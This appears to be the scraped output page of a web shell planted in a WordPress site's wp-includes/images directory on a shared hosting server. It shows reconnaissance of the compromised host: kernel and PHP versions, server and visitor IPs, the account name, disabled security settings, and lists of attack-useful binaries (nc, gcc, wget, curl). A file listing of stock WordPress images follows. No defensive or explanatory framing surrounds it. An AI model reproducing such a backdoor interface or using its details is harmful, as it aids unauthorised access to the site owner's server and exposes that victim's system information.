| Linux server144.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 |
| LiteSpeed |
| 162.213.255.29 | Your IP: 216.73.216.223 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / home / hashizkx / public_html / wp-includes / images / |
| Operating System | : | Linux server144.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 |
| User / Group | : | 1107[hashizkx] / 1104[hashizkx] |
| PHP Version | : | 8.1.33 |
| IP Server | : | 162.213.255.29 |
| Your IP | : | 216.73.216.223 |
| Storage | : | Total = 9.67 TB, Free = 5.72 TB [59%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | hashizkx/hashizkx | drwxr-xr-x | 2025-10-22 05:00:55 | |
| .. | dir | - | hashizkx/hashizkx | drwxr-xr-x | 2025-10-24 10:20:29 | |
| crystal | dir | - | hashizkx/hashizkx | drwxr-xr-x | 2025-10-22 05:00:55 | |
| media | dir | - | hashizkx/hashizkx | drwxr-xr-x | 2025-10-22 05:00:55 | |
| smilies | dir | - | hashizkx/hashizkx | drwxr-xr-x | 2025-10-22 05:00:55 | |
| admin-bar-sprite-2x.png | image/png | 3.91 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-10-29 02:02:22 | |
| admin-bar-sprite.png | image/png | 2.41 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-02-13 01:03:14 | |
| arrow-pointer-blue-2x.png | image/png | 1.63 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-10-29 02:02:22 | |
| arrow-pointer-blue.png | image/png | 793 B | hashizkx/hashizkx | -rw-r--r-- | 2012-11-07 11:49:10 | |
| blank.gif | image/gif | 43 B | hashizkx/hashizkx | -rw-r--r-- | 2019-10-05 06:21:00 | |
| down_arrow-2x.gif | image/gif | 84 B | hashizkx/hashizkx | -rw-r--r-- | 2019-10-05 06:21:00 | |
| down_arrow.gif | image/gif | 59 B | hashizkx/hashizkx | -rw-r--r-- | 2019-10-05 06:21:00 | |
| icon-pointer-flag-2x.png | image/png | 1.34 KB | hashizkx/hashizkx | -rw-r--r-- | 2012-09-27 06:12:54 | |
| icon-pointer-flag.png | image/png | 783 B | hashizkx/hashizkx | -rw-r--r-- | 2011-12-06 02:49:48 | |
| rss-2x.png | image/png | 1.28 KB | hashizkx/hashizkx | -rw-r--r-- | 2012-11-08 01:54:08 | |
| rss.png | image/png | 608 B | hashizkx/hashizkx | -rw-r--r-- | 2012-11-07 11:49:10 | |
| spinner-2x.gif | image/gif | 7.36 KB | hashizkx/hashizkx | -rw-r--r-- | 2021-11-16 05:04:02 | |
| spinner.gif | image/gif | 3.57 KB | hashizkx/hashizkx | -rw-r--r-- | 2021-11-16 05:04:02 | |
| toggle-arrow-2x.png | image/png | 354 B | hashizkx/hashizkx | -rw-r--r-- | 2012-11-08 01:54:08 | |
| toggle-arrow.png | image/png | 289 B | hashizkx/hashizkx | -rw-r--r-- | 2014-10-29 02:02:22 | |
| uploader-icons-2x.png | image/png | 3.46 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-10-29 02:02:22 | |
| uploader-icons.png | image/png | 1.52 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-02-13 01:03:14 | |
| w-logo-blue-white-bg.png | image/png | 4.02 KB | hashizkx/hashizkx | -rw-r--r-- | 2021-11-16 05:04:02 | |
| w-logo-blue.png | image/png | 3.04 KB | hashizkx/hashizkx | -rw-r--r-- | 2016-02-23 09:55:28 | |
| wpicons-2x.png | image/png | 14.58 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-11-25 11:12:22 | |
| wpicons.png | image/png | 6.92 KB | hashizkx/hashizkx | -rw-r--r-- | 2014-11-25 11:12:22 | |
| wpspin-2x.gif | image/gif | 8.67 KB | hashizkx/hashizkx | -rw-r--r-- | 2024-01-22 04:43:18 | |
| wpspin.gif | image/gif | 2 KB | hashizkx/hashizkx | -rw-r--r-- | 2024-01-22 04:43:18 | |
| xit-2x.gif | image/gif | 825 B | hashizkx/hashizkx | -rw-r--r-- | 2019-10-05 06:21:00 | |
| xit.gif | image/gif | 181 B | hashizkx/hashizkx | -rw-r--r-- | 2024-01-22 04:43:18 |
© SEC